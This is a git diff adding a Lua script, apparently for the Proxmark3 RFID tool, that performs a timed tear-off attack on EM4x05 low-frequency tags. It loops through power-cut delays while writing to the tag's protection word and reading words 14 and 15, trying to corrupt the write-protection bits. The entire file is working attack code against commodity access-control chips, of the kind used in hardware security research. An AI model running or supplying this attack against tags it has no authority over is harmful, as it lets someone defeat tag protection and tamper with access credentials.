diff --git a/client/luascripts/lf_em_tearoff_protect.lua b/client/luascripts/lf_em_tearoff_protect.lua
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+local getopt = require('getopt')
+local ansicolors = require('ansicolors')
+
+copyright = 'Iceman'
+author =  [[
+'Author   Iceman
+ CoAuthor Doegox
+]]
+version = 'v0.9.9'
+desc = [[
+This is scripts loops though a tear attack and reads expected value.
+]]
+example = [[
+    script run lf_em_tearoff_protect -n 2 -s 200 -e 400
+
+    Trying repeatedly for a fixed timing, forever or till success:
+    script run lf_em_tearoff_protect -s 400 -e 400
+]]
+usage = [[
+script run lf_em_tearoff_protect [-h] [-n <steps us>] [-p <pwd>] [-s <start us>] [-e <end us>]
+]]
+arguments = [[
+    -h                 This help
+    -n <steps us>      steps in milliseconds for each tear-off
+    -p <pwd>           (optional) use a password
+    -s <delay us>      initial start delay
+    -e <delay us>      end delay, must be larger or equal to start delay
+    end
+]]
+
+---
+-- This is only meant to be used when errors occur
+local function oops(err)
+    print('ERROR:', err)
+    core.clearCommandBuffer()
+    return nil, err
+end
+---
+-- Usage help
+local function help()
+    print(copyright)
+    print(author)
+    print(version)
+    print(desc)
+    print(ansicolors.cyan..'Usage'..ansicolors.reset)
+    print(usage)
+    print(ansicolors.cyan..'Arguments'..ansicolors.reset)
+    print(arguments)
+    print(ansicolors.cyan..'Example usage'..ansicolors.reset)
+    print(example)
+end
+
+local function main(args)
+
+    --[[
+    Basically it does the following,
+    
+    1. hw tear
+    2. lf em 4x05_write 
+    3. lf em 4x05_read
+    
+    The first two commands dont need a feedback from the system, so going with core.console commands.
+    Since the read needs demodulation of signal I opted to add that function from cmdlfem4x.c to the core lua scripting
+        core.em4x05_read(addr, password)
+    
+    --]]
+    local n, password, sd, ed
+    
+    for o, a in getopt.getopt(args, 'he:s:a:p:n:r:w:') do
+        if o == 'h' then return help() end
+        if o == 'n' then n = a end
+        if o == 'p' then password = a end
+        if o == 'e' then ed = tonumber(a) end
+        if o == 's' then sd = tonumber(a) end
+    end
+
+    password = password or ''
+    if #password ~= 8 then
+        password = ''
+    end
+    
+    local word14, err14 =  core.em4x05_read(14, password)
+    if err14 then
+        return oops(err14)
+    end
+    local word15, err15 =  core.em4x05_read(15, password)
+    if err15 then
+        return oops(err15)
+    end
+    local rd_value = ('%08X'):format(bit.bor(word14,word15))
+    local wr_value = '00000000'
+    n = n or 2
+    sd = sd or 2000
+    ed = ed or 2100
+
+    if sd > ed then
+        return oops('start delay can\'t be larger than end delay', sd, ed)
+    end
+
+    print('==========================================')    
+    print('Starting EM4x05 tear off :: target PROTECT')
+
+    if password then
+        print('target pwd', password)
+    end
+    print('target stepping', n)
+    print('target delay', sd ,ed)
+    print('read value', rd_value)
+    print('write value', wr_value)
+    print('==========================================')    
+    
+    local res_tear = 0
+    local res_nowrite = 0
+    
+    local set_tearoff_delay = 'hw tearoff --delay %d'
+    local enable_tearoff = 'hw tearoff --on'
+    
+    local wr_template = 'lf em 4x05_write %s %s %s'
+
+    -- fix at one specific delay
+    if sd == ed then
+       n = 0
+    end
+
+    local tries = 0
+    while sd <= ed do
+    
+        -- increase loop
+        sd = sd + n
+        
+        if tries == 20 then
+            tries = 0
+            sd = sd + 1
+            ed = ed + 1 
+            print(ansicolors.cyan..'[!] Tried 20 times, increased delay with 1us'..ansicolors.reset)
+        end
+    
+        io.flush()
+        if core.kbd_enter_pressed() then
+            print("aborted by user")
+            break
+        end
+
+        core.clearCommandBuffer()
+
+        local c = set_tearoff_delay:format(sd)
+        core.console(c);
+        core.console(enable_tearoff)
+
+        c = wr_template:format(99, wr_value, password)
+        core.console(c)
+
+        word14, err14 =  core.em4x05_read(14, password)
+        if err14 then
+            return oops(err14)
+        end
+        
+        local wordstr14 = ('%08X'):format(word14)
+
+        word15, err15 =  core.em4x05_read(15, password)
+        if err15 then
+            return oops(err15)
+        end
+        
+        local wordstr15 = ('%08X'):format(word15)
+
+        if (not (wordstr14 == '00000000' and wordstr15 == wr_value)) and (not (wordstr14 == wr_value and wordstr15 == '00000000')) then
+            print((ansicolors.yellow..'[!] TEAR OFF occurred:'..ansicolors.reset..' 14:%08X 15:%08X'):format(word14, word15))
+        end
+        
+        if wordstr14 == rd_value then
+            if wordstr15 ~= rd_value and  wordstr15 ~= wr_value then
+                print((ansicolors.red..'[!] tear off result:  '..ansicolors.reset..' 14:%08X 15:%08X'):format(word14, word15))
+                return oops('Success?')
+            end
+            
+            if wordstr15 == rd_value then
+                print(ansicolors.red..'[!] need to reset'..ansicolors.reset)
+                c = wr_template:format(99, wr_value, password)
+                core.console(c)
+                tries = 0
+            end
+        else        
+            print('...')
+        end
+        tries = tries + 1
+    end
+end
+
+--[[
+In the future, we may implement so that scripts are invoked directly
+into a 'main' function, instead of being executed blindly. For future
+compatibility, I have done so, but I invoke my main from here.
+--]]
+main(args)